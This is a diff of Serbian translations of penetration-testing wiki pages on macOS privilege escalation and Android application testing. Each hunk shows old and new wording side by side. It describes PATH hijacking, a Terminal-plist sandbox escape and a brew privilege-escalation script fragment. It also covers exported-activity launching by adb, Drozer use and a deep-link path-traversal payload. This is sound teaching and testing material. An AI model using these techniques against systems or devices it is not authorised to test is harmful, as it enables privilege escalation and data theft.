Datoteka **`/etc/paths`** je jedno od glavnih mesta koja popunjava PATH env varijablu. Morate biti root da biste je prepisali, ali ako skripta iz **privileged process** izvršava neku **komandu bez punog puta**, možda ćete moći da je **hijack**-ujete modifikovanjem ove datoteke.
Takođe možete pisati datoteke u **`/etc/paths.d`** da biste učitali nove foldere u `PATH` env varijablu.
### cups-files.conf
Ova tehnika je korišćena u [ovom izveštaju](https://www.kandji.io/blog/macos-audit-story-part1).
Ova tehnika je korišćena u [ovoj analizi](https://www.kandji.io/blog/macos-audit-story-part1).
Kreirajte datoteku `/etc/cups/cups-files.conf` sa sledećim sadržajem:
```
@ -308,11 +308,11 @@ Zatim, ponovo izmenite datoteku `/etc/cups/cups-files.conf` tako da označite `L
### Sandbox Escape
Moguće je pobjeći iz macOS sandbox-a sa FS proizvoljnim pisanjem. Za neke primere pogledajte stranicu [macOS Auto Start](../../../../macos-auto-start-locations.md) ali uobičajen primer je pisanje Terminal preferencijske datoteke u `~/Library/Preferences/com.apple.Terminal.plist` koja izvršava komandu pri pokretanju i poziva je koristeći `open`.
Moguće je pobjeći iz macOS sandbox-a sa FS proizvoljnim pisanjem. Za neke primere pogledajte stranicu [macOS Auto Start](../../../../macos-auto-start-locations.md) ali uobičajen primer je pisanje datoteke sa podešavanjima Terminala u `~/Library/Preferences/com.apple.Terminal.plist` koja izvršava komandu pri pokretanju i poziva je koristeći `open`.
## Generišite pisane datoteke kao drugi korisnici
Ovo će generisati datoteku koja pripada root-u koja je pisana od strane mene ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Ovo bi takođe moglo raditi kao privesc:
Ovo će generisati datoteku koja pripada root-u a koju mogu pisati ja ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Ovo bi takođe moglo raditi kao privesc:
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -326,7 +326,7 @@ echo $FILENAME
```
## POSIX Deljena Memorija
**POSIX deljena memorija** omogućava procesima u POSIX-kompatibilnim operativnim sistemima da pristupaju zajedničkom memorijskom prostoru, olakšavajući bržu komunikaciju u poređenju sa drugim metodama međuprocesne komunikacije. To uključuje kreiranje ili otvaranje objekta deljene memorije pomoću `shm_open()`, postavljanje njegove veličine pomoću `ftruncate()`, i mapiranje u adresni prostor procesa koristeći `mmap()`. Procesi zatim mogu direktno čitati i pisati u ovaj memorijski prostor. Da bi se upravljalo konkurentnim pristupom i sprečila korupcija podataka, mehanizmi sinhronizacije kao što su mutexi ili semafori se često koriste. Na kraju, procesi demapiraju i zatvaraju deljenu memoriju pomoću `munmap()` i `close()`, i opcionalno uklanjaju objekat memorije pomoću `shm_unlink()`. Ovaj sistem je posebno efikasan za brzu IPC u okruženjima gde više procesa treba brzo da pristupi deljenim podacima.
**POSIX deljena memorija** omogućava procesima u POSIX-kompatibilnim operativnim sistemima da pristupaju zajedničkom memorijskom prostoru, olakšavajući bržu komunikaciju u poređenju sa drugim metodama međuprocesne komunikacije. To uključuje kreiranje ili otvaranje objekta deljene memorije pomoću `shm_open()`, postavljanje njegove veličine pomoću `ftruncate()`, i mapiranje u adresni prostor procesa koristeći `mmap()`. Procesi zatim mogu direktno čitati iz i pisati u ovaj memorijski prostor. Da bi se upravljalo konkurentnim pristupom i sprečila korupcija podataka, mehanizmi sinhronizacije kao što su mutexi ili semafori se često koriste. Na kraju, procesi demapiraju i zatvaraju deljenu memoriju pomoću `munmap()` i `close()`, i opcionalno uklanjaju objekat memorije pomoću `shm_unlink()`. Ovaj sistem je posebno efikasan za brzu IPC u okruženjima gde više procesa treba brzo da pristupi deljenim podacima.
<details>
@ -378,7 +378,7 @@ return 0;
<details>
<summary>Primer potrošačkog koda</summary>
<summary>Primer koda za potrošače</summary>
```c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>

View File

@ -13,14 +13,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Ovo je glavni alat koji vam je potreban za povezivanje sa android uređajem (emuliranim ili fizičkim).\
**ADB** omogućava kontrolu uređaja preko **USB** ili **mreže** sa računara. Ova alatka omogućava **kopiranje** fajlova u oba pravca, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama.
**ADB** omogućava kontrolu uređaja preko **USB** ili **Mreže** sa računara. Ova alatka omogućava **kopiranje** fajlova u oba pravca, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama.
Pogledajte sledeću listu [**ADB Komandi**](adb-commands.md) da biste naučili kako koristiti adb.
## Smali
Ponekad je zanimljivo **modifikovati kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i ponovo ga kompajlirati.\
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i ponovo kompajlirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
Ponekad je zanimljivo **modifikovati kod aplikacije** kako biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i recompile-ovati ga.\
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i recompile-ovati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
## Druge zanimljive trikove
@ -70,14 +70,14 @@ Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konf
- **Izvezene aktivnosti i servisi**: Identifikacija izvezenih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente.
- **Content Providers i FileProviders**: Izloženi content providers mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe treba biti pažljivo ispitana.
- **Broadcast Receivers i URL sheme**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se URL sheme upravljaju za ranjivosti unosa.
- **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, ističući važnost ne podržavanja zastarelih, ranjivih Android verzija iz bezbednosnih razloga.
- **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, ističući važnost ne podržavanja zastarelih, ranjivih Android verzija iz sigurnosnih razloga.
Iz **strings.xml** datoteke, osetljive informacije kao što su API ključevi, prilagođene sheme i druge beleške programera mogu se otkriti, naglašavajući potrebu za pažljivim pregledom ovih resursa.
### Tapjacking
**Tapjacking** je napad gde se **maliciozna** **aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo prikrije aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje s njom, dok zapravo prosleđuje interakciju aplikaciji žrtve.\
U suštini, to je **oslepljivanje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
U suštini, to je **slabljenje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
Pronađite više informacija u:
@ -87,7 +87,7 @@ tapjacking.md
### Preuzimanje zadataka
**aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na preuzimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre stvarne aplikacije, mogla bi **preuzeti zadatak stvarne aplikacije** (tako da korisnik misli da koristi **malicioznu aplikaciju misleći da koristi pravu**).
**aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na preuzimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre stvarne aplikacije, mogla bi **preuzeti zadatak stvarne aplikacije** (tako da će korisnik interagovati sa **malicioznom aplikacijom misleći da koristi pravu**).
Više informacija u:
@ -97,30 +97,30 @@ android-task-hijacking.md
### Nesigurno skladištenje podataka
**Interna pohrana**
**Interno skladište**
U Androidu, datoteke **pohranjene** u **internoj** pohrani su **dizajnirane** da budu **pristupačne** isključivo od **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **propisana** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da **omoguće** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
U Androidu, datoteke **smeštene** u **interno** skladište su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **propisana** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da **omoguće** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
1. **Staticka analiza:**
- **Osigurajte** da se korišćenje `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo ispita**. Ovi režimi **mogu potencijalno izložiti** datoteke **neprikladnom ili neovlašćenom pristupu**.
2. **Dinamička analiza:**
- **Proverite** **dozvole** postavljene na datotekama koje kreira aplikacija. Konkretno, **proverite** da li su neke datoteke **postavljene da budu čitljive ili zapisive globalno**. Ovo može predstavljati značajan sigurnosni rizik, jer bi omogućilo **bilo kojoj aplikaciji** instaliranoj na uređaju, bez obzira na njen izvor ili nameru, da **čita ili modifikuje** ove datoteke.
**Eksterna pohrana**
**Eksterno skladište**
Kada se radi o datotekama na **eksternom skladištu**, kao što su SD kartice, treba preduzeti određene mere opreza:
1. **Pristupačnost**:
- Datoteke na eksternom skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim datotekama.
2. **Bezbednosne brige**:
- S obzirom na lakoću pristupa, savetuje se **da se ne čuvaju osetljive informacije** na eksternom skladištu.
- Eksterna pohrana može biti uklonjena ili dostupna bilo kojoj aplikaciji, što je čini manje sigurnom.
3. **Rukovanje podacima iz eksterne pohrane**:
- Uvek **izvršite validaciju unosa** na podacima preuzetim iz eksterne pohrane. Ovo je ključno jer su podaci iz nepouzdanog izvora.
- Čuvanje izvršnih ili klasa datoteka na eksternom skladištu za dinamičko učitavanje se snažno ne preporučuje.
- Ako vaša aplikacija mora preuzeti izvršne datoteke iz eksterne pohrane, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je vitalan za održavanje sigurnosne integriteta vaše aplikacije.
- Datoteke na eksternom skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik mogu pristupiti tim datotekama.
2. **Sigurnosne brige**:
- S obzirom na lakoću pristupa, savetuje se **da se ne skladište osetljive informacije** na eksternom skladištu.
- Eksterno skladište može biti uklonjeno ili dostupno bilo kojoj aplikaciji, što ga čini manje sigurnim.
3. **Rukovanje podacima iz eksternog skladišta**:
- Uvek **izvršite validaciju unosa** na podacima preuzetim iz eksternog skladišta. Ovo je ključno jer su podaci iz nepouzdanog izvora.
- Skladištenje izvršnih ili klasa datoteka na eksternom skladištu za dinamičko učitavanje se snažno ne preporučuje.
- Ako vaša aplikacija mora preuzeti izvršne datoteke iz eksternog skladišta, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je ključan za održavanje sigurnosne integriteta vaše aplikacije.
Eksterna pohrana može biti **pristupna** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
Eksterno skladište može biti **pristupačno** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NAPOMENA]
> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikaciji na direktorijum koji je specifično za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da dobije pristup za čitanje ili pisanje datoteka druge aplikacije.
@ -145,23 +145,23 @@ Dobar način da se ovo testira je da pokušate da uhvatite saobraćaj koristeći
**Loši Procesi Upravljanja Ključevima**
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih sa ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
**Korišćenje Nesigurnih i/ili Zastarelih Algoritama**
Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, treba koristiti hash-ove otporne na brute-force sa solju.
Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, trebali bi se koristiti hash-ovi otporni na brute-force sa solju.
### Ostale provere
- Preporučuje se da se **obfuskira APK** kako bi se otežao posao obrnute inženjeringa napadačima.
- Preporučuje se da se **obfuskira APK** kako bi se otežao rad obrnute inženjeringa napadačima.
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da proveri da li se koristi **emulator**.
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da **proveri svoju integritet pre izvršavanja** kako bi proverila da li je modifikovana.
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izradu APK-a.
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da **proveri svoju integritet pre izvršavanja** da bi proverila da li je modifikovana.
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izgradnju APK-a.
### React Native Aplikacija
Pročitajte sledeću stranicu da biste saznali kako lako pristupiti JavaScript kodu React aplikacija:
Pročitajte sledeću stranicu da biste saznali kako lako pristupiti javascript kodu React aplikacija:
{{#ref}}
react-native-application.md
@ -177,11 +177,11 @@ Pročitajte sledeću stranicu da biste saznali kako lako pristupiti C# kodu xama
### Superpakovane Aplikacije
Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpakovani je Meta algoritam koji kompresuje sadržaj aplikacije u jedan fajl. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve aplikacije... i bržem načinu koji uključuje **izvršavanje aplikacije i prikupljanje dekompresovanih fajlova iz datotečnog sistema.**
Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpakovane su Meta algoritam koji kompresuje sadržaj aplikacije u jedan fajl. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve aplikacije... i bržem načinu koji uključuje **izvršavanje aplikacije i prikupljanje dekompresovanih fajlova iz datotečnog sistema.**
### Automatizovana Staticka Analiza Koda
Alat [**mariana-trench**](https://github.com/facebook/mariana-trench) je sposoban da pronađe **ranjivosti** skeniranjem **koda** aplikacije. Ovaj alat sadrži niz **poznatih izvora** (koji ukazuju alatu na **mesta** gde je **ulaz** **kontrolisan od strane korisnika**), **sinks** (koji ukazuju alatu na **opasna** **mesta** gde bi zlonamerni korisnički ulaz mogao izazvati štetu) i **pravila**. Ova pravila ukazuju na **kombinaciju** **izvora-sinks** koja ukazuje na ranjivost.
Alat [**mariana-trench**](https://github.com/facebook/mariana-trench) je sposoban da pronađe **ranjivosti** skeniranjem **koda** aplikacije. Ovaj alat sadrži niz **poznatih izvora** (koji ukazuju alatu na **mesta** gde je **ulaz** **kontrolisan od strane korisnika**), **sinks** (koji ukazuju alatu na **opasna** **mesta** gde bi zlonamerni korisnički ulaz mogao izazvati štetu) i **pravila**. Ova pravila ukazuju na **kombinaciju** **izvora-sinkova** koja ukazuje na ranjivost.
Sa ovim znanjem, **mariana-trench će pregledati kod i pronaći moguće ranjivosti u njemu**.
@ -189,7 +189,7 @@ Sa ovim znanjem, **mariana-trench će pregledati kod i pronaći moguće ranjivos
Aplikacija može sadržati tajne (API ključeve, lozinke, skrivene URL-ove, poddomene...) unutar nje koje biste mogli otkriti. Možete koristiti alat kao što je [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks).
### Obilaženje Biometrijske Autentifikacije
### Zaobilaženje Biometrijske Autentifikacije
{{#ref}}
bypass-biometric-authentication-android.md
@ -228,7 +228,7 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
### Lokalna Dinamička Analiza
#### Korišćenje emulatora
#### Korišćenje emulatore
- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, a prema [**ovome**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnovijim x86** verzijama **podržavaju ARM biblioteke** bez potrebe za sporim arm emulatorom).
- Naučite kako da ga postavite na ovoj stranici:
@ -237,7 +237,7 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate kreirati nalog. _Preporučuje se da **preuzmete** verziju **SA** _**VirtualBox** kako biste izbegli potencijalne greške._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate kreirati nalog. _Preporučuje se da **preuzmete** verziju **SA** _**VirtualBox** da biste izbegli potencijalne greške._)
- [**Nox**](https://es.bignox.com) (Besplatno, ali ne podržava Frida ili Drozer).
> [!NOTE]
@ -260,7 +260,7 @@ Morate aktivirati **debugging** opcije i bilo bi dobro ako možete **root-ovati*
5. Vratite se i naći ćete **Opcije za programere**.
> Kada instalirate aplikaciju, prva stvar koju treba da uradite je da je isprobate i istražite šta radi, kako funkcioniše i da se upoznate s njom.\
> Preporučujem da **izvršite ovu inicijalnu dinamičku analizu koristeći MobSF dinamičku analizu + pidcat**, tako da ćemo moći da **naučimo kako aplikacija funkcioniše** dok MobSF **prikuplja** mnogo **zanimljivih** **podataka** koje možete pregledati kasnije.
> Preporučujem da **izvršite ovu inicijalnu dinamičku analizu koristeći MobSF dinamičku analizu + pidcat**, tako da ćemo moći da **naučimo kako aplikacija funkcioniše** dok MobSF **prikuplja** mnogo **zanimljivih** **podataka** koje možete kasnije pregledati.
### Neplanirano Otkriće Podataka
@ -269,8 +269,8 @@ Morate aktivirati **debugging** opcije i bilo bi dobro ako možete **root-ovati*
Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Preporučuju se alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti.
> [!WARNING]
> Imajte na umu da od **novijih verzija od Android 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
> U svakom slučaju, i dalje se preporučuje da **ne logujete osetljive informacije**.
> Imajte na umu da od **novijih verzija Android-a 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
> Ipak, i dalje se preporučuje da **ne logujete osetljive informacije**.
**Keširanje Copy/Paste Bafera**
@ -284,20 +284,20 @@ Kao pentester, **pokušajte da pogledate ove logove**.
**Podaci o Analitici Poslati Trećim Stranama**
Aplikacije često integrišu usluge kao što je Google Adsense, što može nenamerno **procuriti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju osetljive informacije trećim stranama.
Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **procuriti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju osetljive informacije trećim stranama.
### SQLite DBs
Većina aplikacija će koristiti **internu SQLite bazu podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** koji su sačuvani jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
Većina aplikacija će koristiti **internu SQLite baze podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** koji su sačuvani jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
Baze podataka bi trebale biti locirane u `/data/data/the.package.name/databases` kao `/data/data/com.mwr.example.sieve/databases`.
Ako baza podataka čuva poverljive informacije i je **šifrovana**, ali možete **pronaći** **lozinku** unutar aplikacije, to je i dalje **ranjivost**.
Ako baza podataka čuva poverljive informacije i je **šifrovana** ali možete **pronaći** **lozinku** unutar aplikacije, to je i dalje **ranjivost**.
Enumerišite tabele koristeći `.tables` i enumerišite kolone tabela koristeći `.schema <table_name>`.
### Drozer (Eksploatacija Aktivnosti, Pružatelja Sadržaja i Usluga)
Sa [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i interagujete sa drugim aplikacijama. Može učiniti **sve što instalirana aplikacija može učiniti**, kao što je korišćenje Android-ovog mehanizma međuprocesne komunikacije (IPC) i interakcija sa osnovnim operativnim sistemom.\
Iz [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i interagujete sa drugim aplikacijama. Može učiniti **sve što instalirana aplikacija može učiniti**, kao što je korišćenje Android-ovog mehanizma međuprocesne komunikacije (IPC) i interakcija sa osnovnim operativnim sistemom.\
Drozer je koristan alat za **eksploataciju eksportovanih aktivnosti, eksportovanih usluga i Pružatelja Sadržaja** kao što ćete naučiti u sledećim sekcijama.
### Eksploatacija eksportovanih Aktivnosti
@ -305,20 +305,20 @@ Drozer je koristan alat za **eksploataciju eksportovanih aktivnosti, eksportovan
[**Pročitajte ovo ako želite da osvežite šta je Android Aktivnost.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Takođe zapamtite da kod aktivnosti počinje u **`onCreate`** metodi.
**Obilaženje autorizacije**
**Zaobilaženje autorizacije**
Kada je Aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **obići** **mehanizme autentifikacije** **da biste joj pristupili.**
Kada je Aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **zaobići** **mehanizme autentifikacije** **da biste joj pristupili.**
[**Naučite kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
Takođe možete pokrenuti eksportovanu aktivnost iz adb:
- ImePaketa je com.example.demo
- Eksportovana Aktivnost je com.example.test.MainActivity
- PackageName je com.example.demo
- Exported ActivityName je com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NAPOMENA**: MobSF će detektovati kao zlonameran korišćenje _**singleTask/singleInstance**_ kao `android:launchMode` u aktivnosti, ali zbog [ovoga](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), očigledno je da je to opasno samo na starim verzijama (API verzije < 21).
**NAPOMENA**: MobSF će detektovati kao zlonamerno korišćenje _**singleTask/singleInstance**_ kao `android:launchMode` u aktivnosti, ali zbog [ovoga](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), očigledno je da je ovo opasno samo na starim verzijama (API verzije < 21).
> [!NAPOMENA]
> Imajte na umu da zaobilaženje autorizacije nije uvek ranjivost, to zavisi od načina na koji zaobilaženje funkcioniše i koje informacije su izložene.
@ -334,7 +334,7 @@ Ako tapjacking nije sprečen, mogli biste zloupotrebiti izvezenu aktivnost da na
### Iskorišćavanje Content Providers - Pristup i manipulacija osetljivim informacijama
[**Pročitajte ovo ako želite da osvežite šta je Content Provider.**](android-applications-basics.md#content-provider)\
Content providers se osnovno koriste za **deljenje podataka**. Ako aplikacija ima dostupne content providere, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je zanimljivo testirati moguće **SQL injekcije** i **Path Traversals** jer bi mogli biti ranjivi.
Content providers se osnovno koriste za **deljenje podataka**. Ako aplikacija ima dostupne content providers, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je zanimljivo testirati moguće **SQL injekcije** i **Path Traversals** jer bi mogli biti ranjivi.
[**Saznajte kako da iskoristite Content Providers sa Drozer-om.**](drozer-tutorial/index.html#content-providers)
@ -343,7 +343,7 @@ Content providers se osnovno koriste za **deljenje podataka**. Ako aplikacija im
[**Pročitajte ovo ako želite da osvežite šta je Servis.**](android-applications-basics.md#services)\
Zapamtite da akcije Servisa počinju u metodi `onStartCommand`.
Servis je osnovno nešto što **može primati podatke**, **obrađivati** ih i **vraćati** (ili ne) odgovor. Dakle, ako aplikacija izlaže neke servise, trebali biste **proveriti** **kod** da biste razumeli šta radi i **testirati** ga **dinamički** za izvlačenje poverljivih informacija, zaobilaženje mera autentifikacije...\
Servis je osnovno nešto što **može primati podatke**, **obrađivati** ih i **vraćati** (ili ne) odgovor. Dakle, ako aplikacija izveze neke servise, trebali biste **proveriti** **kod** da biste razumeli šta radi i **testirati** ga **dinamički** za izvlačenje poverljivih informacija, zaobilaženje mera autentifikacije...\
[**Saznajte kako da iskoristite Servise sa Drozer-om.**](drozer-tutorial/index.html#services)
### **Iskorišćavanje Broadcast Receivers**
@ -383,14 +383,14 @@ Svaki put kada pronađete deep link, proverite da **ne prima osetljive podatke (
Trebalo bi da **proverite i da li neki deep link koristi parametar unutar putanje** URL-a kao što je: `https://api.example.com/v1/users/{username}`, u tom slučaju možete primorati putanju da pređe na nešto poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao naziv domena), **preuzimanje naloga** (ako možete da modifikujete korisničke podatke bez CSRF tokena i ranjiva krajnja tačka koristi ispravnu metodu) i bilo koju drugu ranjivost. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/).
**Još primera**
**Više primera**
Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o linkovima (_/.well-known/assetlinks.json_).
### Inspekcija i verifikacija transportnog sloja
- **Sertifikati se ne proveravaju uvek pravilno** od strane Android aplikacija. Uobičajeno je da ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza.
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima čoveka u sredini (MITM), omogućavajući napadačima da dešifruju podatke.
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima čoveka u sredini (MITM), omogućavajući napadačima da dekriptuju podatke.
- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili korisnički podaci, od presretanja od strane zlonamernih entiteta.
#### Verifikacija sertifikata
@ -403,7 +403,7 @@ SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odn
#### Inspekcija saobraćaja
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instaliranja ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proksija. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
@ -411,7 +411,7 @@ Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u Network Secur
